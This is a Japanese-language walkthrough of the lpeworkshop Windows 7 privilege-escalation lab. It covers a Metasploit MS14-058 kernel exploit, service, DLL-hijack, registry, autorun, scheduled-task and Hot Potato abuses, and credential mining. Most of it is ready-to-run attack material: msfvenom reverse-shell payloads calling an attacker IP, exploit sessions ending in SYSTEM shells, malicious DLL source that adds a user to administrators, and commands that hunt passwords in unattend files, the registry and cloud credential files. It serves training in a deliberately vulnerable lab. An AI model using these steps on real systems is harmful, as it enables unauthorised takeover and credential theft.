lpeworkshop 特権昇格実験 - windows#
実験環境プロジェクトアドレス: https://github.com/sagishahar-zz/lpeworkshop
windows 実験の前提として、まず自分で Windows 7 (SP1) x64 Build 7601 の英語版オペレーティングシステムを準備する必要があります。元の著者のすべての実験はこのオペレーティングシステムに基づいています。
1、インストールが完了したら起動します。
2、管理者権限を持つアカウントを作成し、ログインします。(オペレーティングシステムのインストール時に作成されたユーザーは管理者権限を持っています)
3、オペレーティングシステム上の user ユーザーを削除します。
4、インストールスクリプト(lpe_windows_setup.bat)を書き込み可能な場所に置きます。このステップは主に脆弱性環境の設定です。
5、インストールスクリプト(lpe_windows_setup.bat)を右クリックし、管理者として実行します。
6、仮想マシンを再起動します。
7、ツールを仮想マシンにコピーします(この時、user ユーザーとしてログインし、user/password321)、解凍します。Windows 練習ツール(7z アーカイブパスワード:lpeworkshop)
8、これで、すべての設定が完了しました。実験を開始できます。
#基本コマンド
systeminfo
hostname
#私は誰ですか?
whoami
echo %username%
#このサーバーにはどのユーザー/ユーザーグループがありますか
net user
net localgroup
#特定のユーザーが持つ権限を確認する
net user user
#ネットワーク
ipconfig /all
route print
arp -A
練習 1:カーネル脆弱性特権昇格#
1、powershell を開き、以下のコマンドを入力して、ツールキット内の sherlock スクリプトを見つけ、import-module でモジュールをインポートします。
powershell -nop -ep bypass
インポートが成功したら、Find-AllVulns を実行します。
TrackPopupMenu Win32k Null Pointer Dereference 脆弱性が見つかりました。これは MS14-058 脆弱性です。詳細は以下の通りです:
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable
直接 MS14-058 の exp を見つけて利用します。
CVE-2014-4113-Exploit 内の Win64.exe ファイルを実行します。
また、msfconsole の内蔵モジュールを使用して特権昇格を行うこともできます。前提として、meterpreter セッションモジュールを取得する必要があります。
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > show targets
...targets...
msf exploit(ms14_058_track_popup_menu) > set TARGET <target-id>
msf exploit(ms14_058_track_popup_menu) > show options
...show and set options...
msf exploit(ms14_058_track_popup_menu) > exploit
kali msfvenom でリバースシェルのペイロードを生成します。
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.199.232 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
そして、msfconsole を起動してリスニングします。
# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set lhost 192.168.199.232
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > exploit -j
生成が完了したら、win7 仮想マシンにコピーし、実行します。
特権昇格を開始します。
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set target 1
target => 1
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set session 2
session => 2
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lhost 192.168.199.232
lhost => 192.168.199.232
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lport 4455
lport => 4455
msf5 exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.199.232:4455
[*] Launching notepad to host the exploit...
[+] Process 1768 launched.
[*] Reflectively injecting the exploit DLL into 1768...
[*] Injecting exploit into 1768...
[*] Exploit injected. Injecting payload into 1768...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 3 opened (192.168.199.232:4455 -> 192.168.199.108:49194) at 2021-08-03 02:14:26 -0400
C:\Windows\system32>whoami
whoami
nt authority\system
実験終了。
練習 2:Services (binPath)#
まず、現在のユーザーが所属するユーザーグループを確認します。
AccessChk の機能は、ユーザーが特定のリソース(ファイル、ディレクトリ、レジストリ項目、グローバルオブジェクト、Windows サービスなど)に対して持つ権限を取得することです。
上の図から、現在の user ユーザーが SERVICE_CHANGE_CONFIG の権限を持っていることに注意します。これは、現在のユーザーが設定を変更する権限を持っていることを示しています。以下のコマンドで現在のユーザーが持つ権限を確認できます。
accesschk64.exe /accepteula -uwcqv user *
現在のユーザーが設定を変更する権限を持っているので、sc コマンドを使用する必要があります。sc コマンドは Windows サービスを管理するためのコマンドです。
次に、sc コマンドを使用して exe をサービスとして起動するように設定します。
sc config daclsvc binpath= "net localgroup administrators user /add"
sc start daclsvc
練習 3:Services (DLL Hijacking)#
dll ハイジャックは、Windows アプリケーションが動的リンクライブラリ(DLL)を検索する方法を利用して悪意のあるコードをアプリケーションに注入する手法です。
正常な dll ファイルを置き換え、悪意のある dll ファイルの検索順序を優先させて、悪意のある dll ファイルをロードします。これは Linux の環境変数に似ており、異なるロード順序で異なる内容がロードされます。
C:\Program Files\DLL Hijack Service\dllhijackservice.exe
この時、user ユーザーは管理者グループに属していません。
process monitor プロセス監視ツールを開きます。
C:\Program Files\DLL Hijack Service\dllhijackservice.exe ファイルが実行されたかどうかを検索します。以下の画像から、実行されていないことがわかります。
process monitor で ctrl+h ショートカットキーを押してハイライトフィルターを開き、result を選択し、NAME NOT FOUND を入力して検索します。
この時、dllhijackservice.exe ファイルをダブルクリックして実行すると、いくつかのハイライトされたパラメータ、つまり NAME NOT FOUND のパラメータが表示され、その中に dll パラメータに関するいくつかの内容があります。
次に、ツールボックス内の windows_dll.c ファイルを見つけます。
windows_dll.c ファイルを kali にコピーしてコンパイルします。windows_dll.c の内容は以下の通りです:
$ cat windows_dll.c
// x64用にコンパイルするには:x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// x86用にコンパイルするには:i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
以下のように変更します:
$ cat windows_dll.c
// x64用にコンパイルするには:x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// x86用にコンパイルするには:i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
以下のコマンドでコンパイルします:
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
コンパイルを開始すると、以下のようなエラーが表示され、モジュールが不足していることを示していますので、直接インストールします:
エラーを解決するには:
sudo apt-get install gcc-mingw-w64-x86-64
生成された dll ファイルを c:/tmp ディレクトリにコピーし、環境変数を確認すると、c:/tmp ディレクトリが見つかります。
dll ファイルを hijackme.dll と名付けます。なぜ hijackme.dll と名付けるのかというと、dllhijackservice.exe プログラムが実行されると、hijackmd.dll ファイルがロードされるためです。dll のロード順序は以下の通りです:
cmd ウィンドウを開き、以下のコマンドを入力します:
sc stop dllsvc
sc start dllsvc
この時、現在のユーザー user は管理者グループに追加されています。
練習 4:Services (Unquoted Path)#
sc qc unquotedsvc
accesschk64.exe "C:\Program Files\Unquoted Path Service\"
net user user
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
sc start unquotedsvc
練習 5:Services (Registry)#
NT Authority\SYSTEM は LocalSystem アカウントとも呼ばれ、組み込みの Windows アカウントです。これは Windows ローカルインスタンス上で最も強力なアカウントであり(どの管理者アカウントよりも強力です)、ほとんどのシステムレベル(Windows Services)サービスや他のいくつかのサードパーティサービスはこのアカウントで実行されます。
NT Authority \ SYSTEM は Builtin\Administrator の一部です。
NT AUTHORITY\INTERACTIVE:インタラクティブユーザーは、COM サーバーを実行しているコンピュータに現在ログインしているユーザーです。アイデンティティをインタラクティブユーザーに設定し、サーバーがそのクラスファクトリをマルチパーパスとして登録すると、すべてのクライアントはサーバーの同じインスタンスを使用します。
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
悪意のある偽造ペイロードを生成するために、ツールボックス内の source ディレクトリにある windows_service.c ファイルを見つけ、kali にコピーしてコンパイルします。
windows_service.c の system 内のコマンドを以下のように変更します:
コンパイルを開始します。
x86_64-w64-mingw32-gcc windows_service.c -o regi.exe
生成された regi.exe ファイルを仮想マシンの c:\Temp ディレクトリにコピーし、レジストリ情報を追加します。
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\regi.exe /f
sc.exe を使用してサービスを開始します。
sc.exe start regsvc
練習 6:Services (Executable File)#
脆弱性を利用します:
sc create lol binPath= "c:\executable.exe"
sc start lol
実際のケース:
C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Accesschk>accesschk64.exe -wvu "c:\Pro
gram Files\File Permissions Service"
sc qc filepermsvc
脆弱性を利用して、練習 4 でコンパイルした exe ファイルを c:\Program Files\File Permissions Service ディレクトリにコピーします。
cp /y C:\Temp\regi.exe 'C:\Program Files\File Permissions Service\filepermservice.exe'
サービスを開始します。
sc.exe start filepermsvc
練習 7:Registry (Autorun)#
autoruns ツールを使用してスタートアップ項目を探します。
スタートアップディレクトリ内のファイルには任意の読み書き権限があります。
>accesschk64.exe "c:\Program Files\Autorun Program\program.exe"
>accesschk64.exe -wvu "c:\Program Files\Autorun Program\program.exe"
kali 攻撃マシンに切り替えます。
ペイロードを生成します。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe
ペイロードを仮想マシンの自動起動ディレクトリにコピーします。
仮想マシンをログオフします。
logoff
次回管理者がログインすると、自動起動プログラムが実行され、msfconsole がセッションをリスニングします。
練習 8:Registry (AlwaysInstallElevated)#
脆弱性を発見します。
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated は、Windows コンピュータ上のすべてのユーザー(特に低特権ユーザー)が、特権を昇格させた MSI ファイルを実行する機能を提供する機能です。MSI は Microsoft のインストーラーソフトウェアパッケージファイル形式に基づいており、プログラムのインストール、保存、削除に使用されます。
msf のモジュールを使用して特権昇格を行います。まず、通常の meterpreter を取得します。
特権昇格を行います。
練習 9:Password Mining (Memory)#
メモリダンプファイルを作成します。
strings iexplore2.DMP | grep "Authorization: Basic"
echo "xxxx==" | base64 -d
練習 10:Password Mining (Registry)#
多くの設定情報は直接レジストリに書き込まれ、レジストリを通じて敏感な情報を探します。
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKCU\Software\TightVNC\Server /v password
reg query HKCU\Software\TightVNC\Server /v passwordViewOnly
# Windows自動ログイン
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# SNMPパラメータ
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# レジストリ内のパスワードを検索
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions\BWP123F42" /v ProxyPassword
vnc
C:\>"c:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\vncpwd\vncpwd.exe" EC84DB8BE7861E
4D
練習 11:Password Mining (Configuration Files)#
#txt、xml、iniファイル内でパスワードを探す
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
#設定ファイル内で以下の文字列を探す
dir /s *pass* == *cred* == *vnc* == *.config*
#すべてのファイル内でpasswordフィールドを含むファイルを探す
findstr /spin "password" *.*
findstr /spin "password" *.*
dir /b /a /s c:\ > c:\temp\c-dirs.txt
type c:\temp\c-dirs.txt | findstr /i passw(vnc,ssh...)
該当するディレクトリに移動し、上記のコマンドを入力します。
findstr /si password *.xml > c:\Temp\1.txt
macfee ウイルス対策ソフトのパスワードは一連の文字であり、この文字列はツールを使用して復号化できます。
以下のファイルにも関連する敏感な情報が存在します:
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
#これらのファイルを検索
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
#他のいくつかの敏感なファイル
VARIABLES.DAT
setupinfo
setupinfo.bak
web.config
SiteList.xml
.aws\credentials
.azure\accessTokens.json
.azure\azureProfile.json
gcloud\credentials.db
gcloud\legacy_credentials
gcloud\access_tokens.db
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
練習 12:Hot Potato#
user ユーザーの情報を確認します。もはや管理者グループには属していません。
powershell -ep bypass -nop
Import-Module .\Tater.ps1
PS C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Tater> Invoke-Tater -Trigger 1 -Com
mand "net localgroup administrators user /add"
練習 13:Scheduled Tasks (Missing Binary)#
タスクスケジューラ
kali でペイロードを生成します:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe
c:\Missing Scheduled Binary\ ディレクトリにコピーします。
練習 14:Startup Applications#
スタートアップディレクトリは Windows の自動起動ファイルフォルダであり、悪意のあるファイルをこのディレクトリに置くだけで、オペレーティングシステムが起動する際に自動的にスタートアッププログラムが起動します。
user ユーザーの権限を確認します。
icacls "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.133 -f exe -o x.exe
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
Windows からログアウトし、再ログインすると、msf がセッションを取得できます。
logoff
この一連の実験は、Windows における特権昇格実験に関するもので、これらの実験を通じて、Windows でどのように権限を昇格させ、アカウントやパスワードなどの敏感な情報を取得するかを理解できます。Windows の特権昇格は、主にオペレーティングシステムレベルの脆弱性を利用することが多く、普段は CS のプラグインを使用して特権昇格を行うことが多いです。